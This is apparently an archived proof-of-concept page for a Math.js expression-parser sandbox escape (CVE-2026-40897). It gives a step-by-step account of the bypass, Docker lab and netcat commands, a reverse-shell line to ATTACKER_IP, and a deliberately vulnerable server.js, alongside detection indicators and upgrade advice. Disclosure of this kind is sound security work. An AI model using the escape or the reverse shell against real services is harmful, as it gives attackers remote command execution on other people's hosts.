PoC Archive PoC Archive
Critical CVE-2026-40897 patched

Math.js Expression Parser Sandbox Bypass RCE (CVE-2026-40897)

by EQSTLab (Minseo Jwa) · 2026-07-05

Severity
Critical
CVE
CVE-2026-40897
Category
web
Affected product
Math.js expression parser (Node.js library)
Affected versions
13.1.1 <= version <= 15.1.1 (fixed in 15.2.0)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherEQSTLab (Minseo Jwa)
CVE / AdvisoryCVE-2026-40897
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusWeaponized
Tagsmathjs, nodejs, sandbox-bypass, rce, expression-parser, prototype-pollution-adjacent, reverse-shell, javascript
RelatedN/A

Affected Target

FieldValue
Software / SystemMath.js expression parser (Node.js library)
Versions Affected13.1.1 <= version <= 15.1.1 (fixed in 15.2.0)
Language / PlatformJavaScript / Node.js
Authentication RequiredNo
Network Access RequiredYes

Summary

Math.js exposes an expression-evaluation API (math.evaluate) intended to run untrusted mathematical expressions inside a restricted sandbox that blocks access to dangerous properties such as constructor. The isSafeProperty guard only inspects direct property access performed from the user-supplied expression text, but does not cover accesses made through internal library code paths. By abusing the reviver deserialization helper to reconstruct an ArrayNode, leaking its internal array via toJSON(), and overwriting the array’s .map method with an attacker-controlled function, an attacker can trick Math.js’s own internal code into calling Function.constructor, escaping the sandbox and reaching arbitrary JavaScript execution. The included Docker lab and server.js provide a minimal vulnerable Node.js service that accepts a math expression and evaluates it, letting the PoC payload pop a reverse shell on the host.


Vulnerability Details

Root Cause

isSafeProperty only filters property names appearing literally in the parsed user expression; it does not defend against internal Math.js code paths (e.g., array iteration via .map) being redirected to attacker-controlled functions, allowing indirect access to Function.constructor and thus arbitrary code execution.

Attack Vector

  1. Attacker sends a crafted expression to an application endpoint that forwards user input to math.evaluate().
  2. The expression uses reviver() to reconstruct a Math.js ArrayNode, then leaks and overwrites its internal .map implementation.
  3. A FunctionAssignmentNode is built so that, when internal Math.js code invokes the poisoned .map, it walks through constructor to reach Function.
  4. The resulting function is invoked with a string payload that calls child_process.execSync, spawning a reverse shell back to the attacker.

Impact

Full arbitrary JavaScript/OS command execution on the host running the vulnerable Math.js version, including file system access, credential/data exfiltration, and a persistent reverse shell.


Environment / Lab Setup

Target:   Node.js service using math.evaluate() with Math.js 13.1.1–15.1.1 (Dockerfile provided)
Attacker: nc/netcat listener, a browser or curl to submit the expression to the vulnerable endpoint

Proof of Concept

PoC Script

See server.js and Dockerfile in this folder.

1
2
3
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln
nc -lvnp 4444

server.js stands up a small Node.js/Math.js service; sending the crafted expression to its evaluation input reconstructs a poisoned ArrayNode, redirects internal .map calls to Function.constructor, and executes bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1, giving the attacker an interactive shell on the container/host.


Detection & Indicators of Compromise

Signs of compromise:

  • Outbound reverse-shell connections initiated by the Node.js process shortly after an expression-evaluation request
  • Unexpected child processes (bash, sh) spawned from the Math.js host application
  • Expression payloads referencing internal Math.js class names (ArrayNode, ConstantNode, FunctionAssignmentNode) in request bodies

Remediation

ActionDetail
Primary fixUpgrade Math.js to 15.2.0 or later
Interim mitigationAvoid passing untrusted user input directly to math.evaluate(); run expression evaluation in a separately sandboxed/isolated process with no filesystem or network access

References


Notes

Mirrored from https://github.com/EQSTLab/CVE-2026-40897 on 2026-07-05.

server.js
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
const { create, all } = require('mathjs')
const http = require('http')

const math = create(all)

function formatResult(val) {
  if (val === undefined || val === null) return null
  if (typeof val === 'function') return null
  if (typeof val === 'number' || typeof val === 'string' || typeof val === 'boolean') return String(val)
  try { return math.format(val) } catch(e) { return null }
}

const server = http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/calculate') {
    let body = ''
    req.on('data', chunk => body += chunk)
    req.on('end', () => {
      try {
        const { expr } = JSON.parse(body)
        const lines = expr.split('\n').filter(l => l.trim())
        const results = math.evaluate(lines)
        const arr = Array.isArray(results) ? results : [results]
        const output = lines.map((line, i) => {
          const r = formatResult(arr[i])
          return r !== null ? line + ' = ' + r : null
        }).filter(Boolean).join('\n')
        res.writeHead(200)
        res.end(JSON.stringify({ result: output || '' }))
      } catch(e) {
        res.writeHead(400)
        res.end(JSON.stringify({ error: e.message }))
      }
    })
    return
  }

  res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' })
  res.end(getHtml())
})

function getHtml() {
  return `<!doctype html>
<html lang="ko">
<head>
  <meta charset="utf-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <title>계산기</title>
  <style>
    :root { --bg:#f6f3ed; --panel:rgba(255,252,248,0.92); --ink:#1b1a17; --muted:#6b665e; --accent:#9a3f26; --border:rgba(120,102,80,0.18); --shadow:0 24px 80px rgba(53,36,12,0.08); }
    * { box-sizing:border-box; }
    body { margin:0; min-height:100vh; color:var(--ink); font-family:"Segoe UI","Helvetica Neue",Arial,sans-serif; background:radial-gradient(circle at top left,rgba(154,63,38,0.12),transparent 30%),radial-gradient(circle at bottom right,rgba(109,122,90,0.09),transparent 34%),linear-gradient(180deg,#fbf8f2 0%,var(--bg) 100%); }
    .shell { max-width:640px; margin:0 auto; padding:48px 16px 72px; }
    .top { margin-bottom:32px; display:flex; flex-direction:column; align-items:center; gap:8px; }
    .team-banner { width:min(280px,60vw); }
    .team-banner img { display:block; width:100%; height:auto; }
    .subtitle { margin-top:8px; font-size:0.82rem; color:var(--muted); font-weight:600; letter-spacing:0.14em; text-transform:uppercase; }
    .card { background:var(--panel); backdrop-filter:blur(12px); border:1px solid var(--border); border-radius:24px; box-shadow:var(--shadow); padding:28px; display:grid; gap:20px; }
    label { font-weight:600; font-size:0.85rem; color:var(--muted); text-transform:uppercase; letter-spacing:0.08em; display:block; margin-bottom:8px; }
    textarea { width:100%; padding:14px 16px; border-radius:14px; border:1px solid var(--border); font:inherit; font-size:0.95rem; background:rgba(255,255,255,0.9); min-height:180px; resize:vertical; outline:none; transition:border-color 0.15s; }
    textarea:focus { border-color:rgba(154,63,38,0.4); }
    .btn-row { display:flex; justify-content:flex-end; gap:10px; }
    button { padding:12px 28px; border:0; border-radius:999px; font:inherit; font-weight:700; font-size:0.95rem; cursor:pointer; transition:all 0.15s; }
    .btn-clear { background:transparent; border:1px solid var(--border); color:var(--muted); }
    .btn-clear:hover { border-color:rgba(120,102,80,0.4); color:var(--ink); }
    .btn-run { color:#fffaf4; background:linear-gradient(135deg,#8f2a16,#c3562f); }
    .btn-run:hover { transform:translateY(-1px); box-shadow:0 6px 20px rgba(154,63,38,0.25); }
    .result-box { background:rgba(255,255,255,0.6); border:1px solid var(--border); border-radius:14px; padding:16px; font-family:"Segoe UI","Helvetica Neue",Arial,sans-serif; font-size:0.95rem; line-height:1.7; white-space:pre-wrap; word-break:break-all; min-height:60px; color:var(--ink); }
    .result-box.error { color:#b03a2a; }
    .result-box.empty { color:var(--muted); font-style:italic; }
  </style>
</head>
<body>
  <main class="shell">
    <div class="top">
      <div class="team-banner">
        <img src="data:image/png;base64,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